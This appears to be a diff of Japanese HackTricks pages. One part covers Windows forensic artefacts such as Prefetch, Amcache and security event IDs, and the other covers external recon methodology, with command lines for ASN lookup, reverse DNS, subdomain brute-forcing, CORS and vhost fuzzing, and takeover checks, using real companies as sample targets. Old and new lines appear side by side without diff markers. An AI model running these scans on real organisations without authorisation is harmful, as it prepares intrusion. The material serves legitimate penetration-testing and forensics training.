ファイル`C:\Windows\Prefetch\Layout.ini`には、**プリフェッチされたファイルのフォルダーの名前**が含まれています。このファイルには、**実行回数**、**実行日**、および**プログラムによって**開かれた**ファイルに関する情報が含まれています。
これらのファイルを調査するには、[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)ツールを使用できます。
これらのファイルを調査するには、ツール[**PEcmd.exe**](https://github.com/EricZimmerman/PECmd)を使用できます。
```bash
.\PECmd.exe -d C:\Users\student\Desktop\Prefetch --html "C:\Users\student\Desktop\out_folder"
```
@ -298,7 +299,7 @@ Windowsプリフェッチは、**実行されたプログラムのキャッシ
### Superprefetch
**Superprefetch**は、次に読み込まれるものを予測することによって**プログラムをより速く読み込む**という同じ目的を持っています。しかし、これはプリフェッチサービスの代わりにはなりません。\
**Superprefetch**は、次に読み込まれるものを予測することによって**プログラムをより速く読み込む**という同じ目的を持っています。しかし、これはprefetchサービスの代わりにはなりません。\
このサービスは、`C:\Windows\Prefetch\Ag*.db`にデータベースファイルを生成します。
これらのデータベースには、**プログラム**の**名前**、**実行回数**、**開かれたファイル**、**アクセスされたボリューム**、**完全なパス**、**時間枠**、および**タイムスタンプ**が含まれています。
@ -313,8 +314,8 @@ Windowsプリフェッチは、**実行されたプログラムのキャッシ
- AppIDとパス
- プロセスを実行したユーザー
- 送信バイト
- 受信バイト
- 送信バイト
- 受信バイト
- ネットワークインターフェース
- 接続の持続時間
- プロセスの持続時間
@ -348,7 +349,7 @@ Windowsプリフェッチは、**実行されたプログラムのキャッシ
**Amcache.hve** ファイルは、システム上で実行されたアプリケーションの詳細を記録するレジストリハイブです。通常、`C:\Windows\AppCompat\Programas\Amcache.hve` にあります。
このファイルは、実行されたプロセスの記録を保存することで注目されており、実行可能ファイルへのパスやその SHA1 ハッシュを含んでいます。この情報は、システム上のアプリケーションの活動を追跡するために非常に貴重です。
このファイルは、最近実行されたプロセスの記録を保存しており、実行可能ファイルへのパスやその SHA1 ハッシュを含んでいます。この情報は、システム上のアプリケーションの活動を追跡するために非常に貴重です。
**Amcache.hve** からデータを抽出して分析するには、[**AmcacheParser**](https://github.com/EricZimmerman/AmcacheParser) ツールを使用できます。以下のコマンドは、AmcacheParser を使用して **Amcache.hve** ファイルの内容を解析し、結果を CSV 形式で出力する方法の例です。
```bash
@ -366,7 +367,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
### スケジュールされたタスク
これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出でき、XMLとして読ことができます。
これらは`C:\Windows\Tasks`または`C:\Windows\System32\Tasks`から抽出でき、XMLとして読み取ることができます。
### サービス
@ -382,7 +383,7 @@ AmcacheParser.exe -f C:\Users\genericUser\Desktop\Amcache.hve --csv C:\Users\gen
## Windowsイベント
Windowsイベントに表示される情報は次のとおりです:
Windowsイベントに表示される情報は次のとおりです
- 何が起こったか
- タイムスタンプUTC + 0
@ -390,7 +391,7 @@ Windowsイベント内に表示される情報は次のとおりです
- 関与したホストホスト名、IP
- アクセスされた資産(ファイル、フォルダー、プリンター、サービス)
ログは、Windows Vista以前`C:\Windows\System32\config`にあり、Windows Vista以降`C:\Windows\System32\winevt\Logs`にあります。Windows Vista以前はイベントログはバイナリ形式であり、以降は**XML形式**で、**.evtx**拡張子を使用しています。
ログは、Windows Vista以前は`C:\Windows\System32\config`にあり、Windows Vista以降は`C:\Windows\System32\winevt\Logs`にあります。Windows Vista以前はイベントログはバイナリ形式であり、以降は**XML形式**で、**.evtx**拡張子を使用しています。
イベントファイルの場所は、SYSTEMレジストリの**`HKLM\SYSTEM\CurrentControlSet\services\EventLog\{Application|System|Security}`**で見つけることができます。
@ -398,7 +399,7 @@ Windowsイベント内に表示される情報は次のとおりです
## Windowsセキュリティイベントログの理解
アクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあるセキュリティ構成ファイルに記録されます。このファイルのサイズは調整可能で、容量に達すると古いイベントが上書きされます。記録されたイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダー、共有資産へのアクセスが含まれます。
アクセスイベントは、`C:\Windows\System32\winevt\Security.evtx`にあるセキュリティ構成ファイルに記録されます。このファイルのサイズは調整可能で、容量に達すると古いイベントが上書きされます。記録されたイベントには、ユーザーログインとログオフ、ユーザーアクション、セキュリティ設定の変更、ファイル、フォルダー、および共有資産へのアクセスが含まれます。
### ユーザー認証のための主要なイベントID
@ -409,18 +410,18 @@ Windowsイベント内に表示される情報は次のとおりです
#### EventID 4634/4647内のサブタイプ
- **インタラクティブ (2)**: 直接ユーザーログイン。
- **インタラクティブ (2)**: 直接ユーザーログイン。
- **ネットワーク (3)**: 共有フォルダーへのアクセス。
- **バッチ (4)**: バッチプロセスの実行。
- **サービス (5)**: サービスの起動。
- **プロキシ (6)**: プロキシ認証。
- **ロック解除 (7)**: パスワードで画面がロック解除されました。
- **アンロック (7)**: パスワードで画面が解除されました。
- **ネットワーククリアテキスト (8)**: IISからのクリアテキストパスワードの送信。
- **新しい資格情報 (9)**: アクセスのために異なる資格情報を使用。
- **リモートインタラクティブ (10)**: リモートデスクトップまたはターミナルサービスのログイン。
- **キャッシュインタラクティブ (11)**: ドメインコントローラーに連絡せずにキャッシュされた資格情報でログイン。
- **キャッシュリモートインタラクティブ (12)**: キャッシュされた資格情報でのリモートログイン。
- **キャッシュロック解除 (13)**: キャッシュされた資格情報でのロック解除。
- **キャッシュアンロック (13)**: キャッシュされた資格情報での解除。
#### EventID 4625のステータスおよびサブステータスコード
@ -435,7 +436,7 @@ Windowsイベント内に表示される情報は次のとおりです
- **0xC0000133**: 時間同期の問題 - クライアントとサーバー間の大きな時間の不一致は、パス・ザ・チケットのようなより高度な攻撃を示す可能性があります。
- **0xC0000224**: 強制的なパスワード変更が必要 - 頻繁な強制変更は、アカウントセキュリティを不安定にしようとする試みを示唆するかもしれません。
- **0xC0000225**: セキュリティの問題ではなく、システムバグを示します。
- **0xC000015b**: 拒否されたログオンタイプ - サービスログオンを実行しようとするユーザーなど、不正なログオンタイプでのアクセスの試み
- **0xC000015b**: 拒否されたログオンタイプ - サービスログオンを実行しようとするユーザーなど、不正なログオンタイプでのアクセス試行
#### EventID 4616
@ -461,7 +462,7 @@ Windowsイベント内に表示される情報は次のとおりです
### Windowsイベントの回復
削除されたWindowsイベントを回復する可能性を高めるために、疑わしいコンピュータの電源を直接抜いてシャットダウンすることをお勧めします。**Bulk_extractor**は、`.evtx`拡張子を指定する回復ツールで、これらのイベントを回復しようとする際に推奨されます。
削除されたWindowsイベントを回復する可能性を高めるために、疑わしいコンピュータの電源を直接抜いてシャットダウンすることをお勧めします。**Bulk_extractor**は、`.evtx`拡張子を指定する回復ツールであり、そのようなイベントを回復しようとする際に推奨されます。
### Windowsイベントを通じて一般的な攻撃を特定する
@ -473,11 +474,11 @@ Windowsイベント内に表示される情報は次のとおりです
#### 時間変更
EventID 4616によって記録され、システム時間の変更は法医学的分析を複雑にする可能性があります。
EventID 4616によって記録され、システム時間の変更はフォレンジック分析を複雑にする可能性があります。
#### USBデバイストラッキング
USBデバイストラッキングに役立つシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、挿入タイムスタンプのためのDeviceSetupManagerからのEventID 112が含まれます。
USBデバイストラッキングに役立つシステムイベントIDには、初回使用のための20001/20003/10000、ドライバー更新のための10100、挿入タイムスタンプのためのEventID 112が含まれます。
#### システム電源イベント
@ -485,6 +486,6 @@ EventID 6005はシステムの起動を示し、EventID 6006はシャットダ
#### ログ削除
セキュリティEventID 1102はログの削除を示し、法医学的分析にとって重要なイベントです。
セキュリティEventID 1102はログの削除を示し、フォレンジック分析にとって重要なイベントです。
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# 外部リコンメソ
# 外部リコンメソドロジー
{{#include ../../banners/hacktricks-training.md}}
## 資産の発見
> ある会社に属するすべてのものがスコープ内にあると言われており、の会社が実際に何を所有しているのかを把握したいと思っています。
> ある会社に属するすべてのものがスコープ内にあると言われており、の会社が実際に何を所有しているのかを把握したいと思っています。
このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、私たちは以下を行います:
このフェーズの目標は、**主要な会社が所有するすべての会社**を取得し、次にこれらの会社の**資産**を取得することです。そのために、以下のことを行います:
1. 主要な会社の買収を見つけます。これにより、スコープ内の会社がわかります。
2. 各会社のASNもしあればを見つけます。これにより、各会社が所有するIP範囲がわかります。
3. 逆whois検索を使用して、最初の会社に関連する他のエントリ(組織名、ドメインなど)を検索します(これは再帰的に行うことができます)。
2. 各会社のASNあればを見つけます。これにより、各会社が所有するIP範囲がわかります。
3. 逆Whois検索を使用して、最初のものに関連する他のエントリ(組織名、ドメインなど)を検索します(これは再帰的に行うことができます)。
4. shodanの`org`および`ssl`フィルターなどの他の技術を使用して、他の資産を検索します(`ssl`トリックは再帰的に行うことができます)。
### **買収**
@ -19,16 +19,16 @@
1つのオプションは、[https://www.crunchbase.com/](https://www.crunchbase.com)を訪れ、**主要な会社**を**検索**し、**「買収」**を**クリック**することです。そこで、主要な会社によって買収された他の会社を見ることができます。\
もう1つのオプションは、主要な会社の**Wikipedia**ページを訪れ、**買収**を検索することです。
> さて、この時点でスコープ内のすべての会社を把握しているはずです。彼らの資産を見つける方法を考えましょう。
> さて、この時点でスコープ内のすべての会社を知っているはずです。彼らの資産を見つける方法を考えましょう。
### **ASNs**
自律システム番号(**ASN**)は、**インターネット割り当て番号機関IANA**によって**自律システム**ASに割り当てられた**ユニークな番号**です。\
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレスのブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成される場合があります。
**AS**は、外部ネットワークへのアクセスに対して明確に定義されたポリシーを持つ**IPアドレス****ブロック**で構成され、単一の組織によって管理されますが、複数のオペレーターで構成されることがあります。
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。**スコープ内のすべてのホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
**会社が割り当てたASN**を見つけて、その**IP範囲**を特定することは興味深いです。スコープ内のすべての**ホスト**に対して**脆弱性テスト**を実施し、これらのIP内の**ドメイン**を探すことが興味深いでしょう。\
[**https://bgp.he.net/**](https://bgp.he.net)で会社の**名前**、**IP**、または**ドメイン**で**検索**できます。\
**会社の地域に応じて、これらのリンクはさらにデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。
**会社の地域によっては、これらのリンクがより多くのデータを収集するのに役立つかもしれません:** [**AFRINIC**](https://www.afrinic.net) **(アフリカ)、** [**Arin**](https://www.arin.net/about/welcome/region/) **(北アメリカ)、** [**APNIC**](https://www.apnic.net) **(アジア)、** [**LACNIC**](https://www.lacnic.net) **(ラテンアメリカ)、** [**RIPE NCC**](https://www.ripe.net) **(ヨーロッパ)。とにかく、おそらくすべての**有用な情報**IP範囲とWhoisは最初のリンクにすでに表示されています。
```bash
#You can try "automate" this with amass, but it's not very recommended
amass intel -org tesla
@ -51,7 +51,7 @@ bbot -t tesla.com -f subdomain-enum
[INFO] bbot.modules.asn: +----------+---------------------+--------------+----------------+----------------------------+-----------+
```
あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます無料APIがあります。\
あなたは、[http://asnlookup.com/](http://asnlookup.com)を使用して、組織のIP範囲を見つけることができます無料APIがあります。\
ドメインのIPとASNを見つけるには、[http://ipv4info.com/](http://ipv4info.com)を使用できます。
### **脆弱性の探索**
@ -64,13 +64,13 @@ bbot -t tesla.com -f subdomain-enum
> スコープ内のすべての企業とその資産を把握したので、スコープ内のドメインを見つける時が来ました。
_以下の提案された技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
_次に提案する技術では、サブドメインも見つけることができ、その情報は過小評価すべきではありません。_
まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の主要なドメインは_ tesla.com_になります。
まず、各企業の**主要なドメイン**を探すべきです。たとえば、_Tesla Inc._の場合、_tesla.com_になります。
### **逆引きDNS**
ドメインのIP範囲をすべて見つけたので、**スコープ内のより多くのドメインを見つけるために、れらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー1.1.1.1、8.8.8.8)を使用してみてください。
ドメインのすべてのIP範囲を見つけたので、**スコープ内のより多くのドメインを見つけるために、れらの**IPに対して**逆引きDNSルックアップを実行することができます。**被害者のDNSサーバーまたは一般的なDNSサーバー1.1.1.1、8.8.8.8)を使用してみてください。
```bash
dnsrecon -r <DNS Range> -n <IP_DNS> #DNS reverse of all of the addresses
dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns
@ -88,7 +88,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **無料**
- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **無料**
- [https://www.reversewhois.io/](https://www.reversewhois.io) - **無料**
- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**ウェブ、APIは無料ではありません。
- [https://www.whoxy.com/](https://www.whoxy.com) - **無料**ウェブ、APIは無料ではありません。
- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 無料ではありません
- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 無料ではありません(**100回の無料**検索のみ)
- [https://www.domainiq.com/](https://www.domainiq.com) - 無料ではありません
@ -113,7 +113,7 @@ dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns
### **ファビコン**
同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でしたか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成されたツール[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)が行うことです。使用方法は次のとおりです:
同じファビコンアイコンのハッシュを探すことで、ターゲットに関連するドメインやサブドメインを見つけることができることをご存知でか?これは、[@m4ll0k2](https://twitter.com/m4ll0k2)によって作成されたツール[favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py)が行うことです。使用方法は次のとおりです:
```bash
cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt
python3 favihash.py -f https://target/favicon.ico -t targets.txt -s
@ -141,7 +141,7 @@ return fhash
```
### **Copyright / Uniq string**
異なるウェブサイト間で共有される可能性のある**文字列**をウェブページ内で検索します。同じ組織内での**著作権文字列**が良い例です。その後、**google**や他の**ブラウザ**、さらには**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
異なるウェブサイト間で共有される可能性のある**文字列**をウェブページ内で検索します。**著作権文字列**は良い例です。その後、**google**、他の**ブラウザ**、または**shodan**でその文字列を検索します: `shodan search http.html:"Copyright string"`
### **CRT Time**
@ -150,7 +150,7 @@ cronジョブを持つことは一般的です。
# /etc/crontab
37 13 */10 * * certbot renew --post-hook "systemctl reload nginx"
```
サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\
サーバー上のすべてのドメイン証明書を更新することです。これは、これに使用されるCAが有効期に生成された時間を設定していなくても、**証明書透明性ログで同じ会社に属するドメインを見つけることが可能である**ことを意味します。\
この[**詳細情報のための書き込み**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)をチェックしてください。
### Mail DMARC情報
@ -159,9 +159,9 @@ cronジョブを持つことは一般的です。
### **パッシブテイクオーバー**
人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、単にクラウドDigital Oceanなどで**VMを生成する**ことで、実際に**いくつかのサブドメインを取得する**ことになります。
人々がクラウドプロバイダーに属するIPにサブドメインを割り当て、ある時点で**そのIPアドレスを失い、DNSレコードを削除するのを忘れる**ことが一般的であるようです。したがって、クラウドDigital Oceanなどで**VMを生成する**だけで、実際に**いくつかのサブドメインを取得する**ことになります。
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを生成し**、**新しいマシンの** **IPv4**を取得し、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。
[**この投稿**](https://kmsec.uk/blog/passive-takeover/)はそのストーリーを説明し、**DigitalOceanでVMを生成し**、新しいマシンの**IPv4**を取得し、**それにポイントするサブドメインレコードをVirustotalで検索する**スクリプトを提案しています。
### **その他の方法**
@ -171,7 +171,7 @@ cronジョブを持つことは一般的です。
IPスペースを所有する組織の名前がわかっているので、そのデータを使用してshodanで検索できます: `org:"Tesla, Inc."` 見つかったホストをチェックして、TLS証明書に新しい予期しないドメインがないか確認してください。
メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を持つ**TLS証明書**を持つすべてのウェブページを**shodan**内でフィルターを使用して検索できます: `ssl:"Tesla Motors"` または[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。
メインウェブページの**TLS証明書**にアクセスし、**組織名**を取得し、その名前を持つ**TLS証明書**を持つすべてのウェブページを**shodan**内で検索することができます。フィルター: `ssl:"Tesla Motors"`を使用するか、[**sslsearch**](https://github.com/HarshVaragiya/sslsearch)のようなツールを使用します。
**Assetfinder**
@ -179,9 +179,9 @@ IPスペースを所有する組織の名前がわかっているので、その
### **脆弱性の検索**
いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。ある会社が**ドメインを使用しているが、所有権を失った**可能性があります。十分に安価であれば、それを登録し、会社に知らせてください。
いくつかの[ドメインテイクオーバー](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)をチェックしてください。ある会社が**ドメインを使用しているが、所有権を失っている**かもしれません。それを登録して(十分に安ければ)会社に知らせてください。
もし、資産発見で見つけたものとは異なるIPを持つ**ドメイン**を見つけた場合、**基本的な脆弱性スキャン**NessusまたはOpenVASを使用と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが実行されているかに応じて、**この本で「攻撃」するためのいくつかのトリックを見つけることができます**。\
もし**発見した資産の中で異なるIPを持つドメイン**を見つけた場合、**基本的な脆弱性スキャン**NessusまたはOpenVASを使用と、**nmap/masscan/shodan**を使用したいくつかの[**ポートスキャン**](../pentesting-network/index.html#discovering-hosts-from-the-outside)を実行するべきです。どのサービスが稼働しているかによって、**この本の中でそれらを「攻撃」するためのいくつかのトリックを見つけることができます**。\
_ドメインがクライアントによって制御されていないIP内にホストされていることがあるため、スコープ外であることに注意してください。注意が必要です。_
## サブドメイン
@ -191,11 +191,11 @@ _ドメインがクライアントによって制御されていないIP内に
見つかった各ドメインのすべての可能なサブドメインを見つける時です。
> [!TIP]
> ドメインを見つけるためのいくつかのツールや技術は、サブドメインを見つけるのにも役立つことに注意してください。
> ドメインを見つけるためのツールや技術のいくつかは、サブドメインを見つけるのにも役立つことに注意してください。
### **DNS**
**DNS**レコードから**サブドメイン**を取得しようとしましょう。**ゾーン転送**も試みるべきです(脆弱な場合は報告する必要があります)。
**DNS**レコードから**サブドメイン**を取得しようとしましょう。また、**ゾーン転送**を試みるべきです(脆弱な場合は報告する必要があります)。
```bash
dnsrecon -a -d tesla.com
```
@ -252,7 +252,7 @@ theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferov
```
他にも**興味深いツール/API**があり、サブドメインの発見に特化していなくてもサブドメインを見つけるのに役立つことがあります。例えば:
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io) を使用してサブドメインを取得します。
- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** API [https://sonar.omnisint.io](https://sonar.omnisint.io)を使用してサブドメインを取得します。
```bash
# Get list of subdomains in output from the API
## This is the API the crobat tool will use
@ -353,7 +353,7 @@ shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt
```
puredns bruteforce all.txt domain.com
```
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、非同期にドメイン名をブルートフォースするために asyncio を使用します。
- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) は、asyncioを使用してドメイン名を非同期にブルートフォースします。
```
aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com
```
@ -389,13 +389,13 @@ cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \
#### スマートな順列生成
- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**の**主要部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。
- [**regulator**](https://github.com/cramppet/regulator): 詳細についてはこの[**投稿**](https://cramppet.github.io/regulator/index.html)を読んでくださいが、基本的には**発見されたサブドメイン**から**主要な部分**を取得し、それらを混ぜてより多くのサブドメインを見つけます。
```bash
python3 main.py adobe.com adobe adobe.rules
make_brute_list.sh adobe.rules adobe.brute
puredns resolve adobe.brute --write adobe.valid
```
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファズァです。提供された入力データセットカスタマイズされた単語リストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。
- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ は、非常にシンプルで効果的なDNS応答ガイドアルゴリズムと組み合わされたサブドメインブルートフォースファッザーです。提供された入力データセットカスタマイズされた単語リストや過去のDNS/TLSレコードなどを利用して、より対応するドメイン名を正確に合成し、DNSスキャン中に収集した情報に基づいてさらにループで拡張します。
```
echo www | subzuf facebook.com
```
@ -435,19 +435,19 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com
#https://github.com/codingo/VHostScan
VHostScan -t example.com
```
> [!NOTE]
> [!TIP]
> この技術を使うことで、内部/隠れたエンドポイントにアクセスできる場合があります。
### **CORSブルートフォース**
時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されている場合にのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。このようなシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。
時々、_**Origin**_ ヘッダーに有効なドメイン/サブドメインが設定されているときにのみ、_**Access-Control-Allow-Origin**_ ヘッダーを返すページを見つけることがあります。これらのシナリオでは、この動作を悪用して新しい**サブドメイン**を**発見**することができます。
```bash
ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body
```
### **バケットブルートフォース**
**サブドメイン**を探しているときは、**バケット**に**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)**してください。**\
また、この時点でスコープ内のすべてのドメインを知っているので、[**可能なバケット名をブルートフォースし、権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
**サブドメイン**を探しているときは、**バケット**のいずれかに**ポイント**しているかどうかに注意し、その場合は[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)**してください。**\
また、この時点でスコープ内のすべてのドメインを把握しているので、[**可能なバケット名をブルートフォースして権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
### **モニタリング**
@ -456,17 +456,17 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
### **脆弱性の検索**
可能な[**サブドメインテイクオーバー**](../../pentesting-web/domain-subdomain-takeover.md#subdomain-takeover)を確認してください。\
もし**サブドメイン**が**S3バケット**に**ポイント**している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
もし**サブドメイン**が**S3バケット**を指している場合は、[**権限を確認**](../../network-services-pentesting/pentesting-web/buckets/index.html)してください。
もし**異なるIPを持つサブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスによっては、**この本の中で「攻撃」するためのいくつかのトリックを見つけることができます**\
もし**資産発見**で見つけたものとは異なるIPを持つ**サブドメイン**を見つけた場合は、**基本的な脆弱性スキャン**NessusやOpenVASを使用と、**ポートスキャン****nmap/masscan/shodan**を使用)を実行する必要があります。実行中のサービスに応じて、**この本の中でそれらを「攻撃」するためのいくつかのトリックを見つけることができます**\
_サブドメインがクライアントによって制御されていないIP内にホストされている場合があるため、スコープ外であることに注意してください。_
## IPs
初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**\
これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のための時間です。
初期のステップで**いくつかのIP範囲、ドメイン、サブドメイン**を**見つけたかもしれません**\
これらの範囲から**すべてのIPを収集**し、**ドメイン/サブドメインDNSクエリ**のために収集する時です。
以下の**無料API**のサービスを使用すると、**ドメインとサブドメインによって使用された以前のIP**も見つけることができます。これらのIPはまだクライアントによって所有されている可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
以下の**無料API**のサービスを使用すると、**ドメインやサブドメインで使用された以前のIP**も見つけることができます。これらのIPはクライアントが所有している可能性があり、[**CloudFlareのバイパス**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md)を見つける手助けになるかもしれません。
- [**https://securitytrails.com/**](https://securitytrails.com/)
@ -474,17 +474,17 @@ _サブドメインがクライアントによって制御されていないIP
### **脆弱性の検索**
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスでは、**脆弱性を見つけることができるかもしれません**。
**CDNに属さないすべてのIPをポートスキャン**してください(そこでは興味深いものは見つからない可能性が高いです)。発見された実行中のサービスで**脆弱性を見つけることができるかもしれません**。
**ホストをスキャンする方法に関する**[**ガイド**](../pentesting-network/index.html)を見つけてください。
## ウェブサーバーハンティング
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを知っています。ウェブサーバーを探す時間です。
> すべての企業とその資産を見つけ、スコープ内のIP範囲、ドメイン、サブドメインを把握しました。ウェブサーバーを探す時です。
前のステップで、**発見されたIPとドメインのリコン**をすでに実行している可能性があるため、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきま
前のステップで、**発見したIPやドメインのリコンをすでに実施しているかもしれません**ので、**すべての可能なウェブサーバーをすでに見つけているかもしれません**。しかし、もし見つけていない場合は、スコープ内のウェブサーバーを探すための**迅速なトリック**を見ていきましょう
これは**ウェブアプリの発見**に**特化**しているため、**脆弱性**と**ポートスキャン**も実行する必要があります(**スコープによって許可されている場合**)。
これは**ウェブアプリの発見**に向けられているため、**脆弱性**と**ポートスキャン**も実施する必要があります(**スコープによって許可されている場合**)。
**ウェブ**サーバーに関連する**オープンポート**を発見するための**迅速な方法**は、[**masscan**を使用することができます](../pentesting-network/index.html#http-port-discovery)。\
ウェブサーバーを探すためのもう一つの便利なツールは、[**httprobe**](https://github.com/tomnomnom/httprobe)**、**[**fprobe**](https://github.com/theblackturtle/fprobe)および[**httpx**](https://github.com/projectdiscovery/httpx)です。ドメインのリストを渡すだけで、ポート80httpと443httpsに接続しようとします。さらに、他のポートを試すように指示することもできます
@ -494,7 +494,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
```
### **スクリーンショット**
すべての**ウェブサーバー**を発見したので、どこから始めればよいかわからないかもしれません。そこで、シンプルにすべてのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
すべての**ウェブサーバー**を発見したので、どこから始めるべきか**わからない**かもしれません。そこで、シンプルにして、すべてのサーバーのスクリーンショットを撮ることから始めましょう。**メインページ**を**見るだけ**、**脆弱性**がある可能性の高い**奇妙な**エンドポイントを見つけることができます。
提案されたアイデアを実行するには、[**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness)、[**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot)、[**Aquatone**](https://github.com/michenriksen/aquatone)、[**Shutter**](https://shutter-project.org/downloads/third-party-packages/)、[**Gowitness**](https://github.com/sensepost/gowitness)または[**webscreenshot**](https://github.com/maaaaz/webscreenshot)**を使用できます。**
@ -502,7 +502,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
## パブリッククラウド資産
企業に属する潜在的なクラウド資産を見つけるには、**その企業を特定するキーワードのリストから始める**べきです。たとえば、暗号通貨会社の場合、次のような単語を使用することがあります`"crypto", "wallet", "dao", "<domain_name>", <"subdomain_names">`
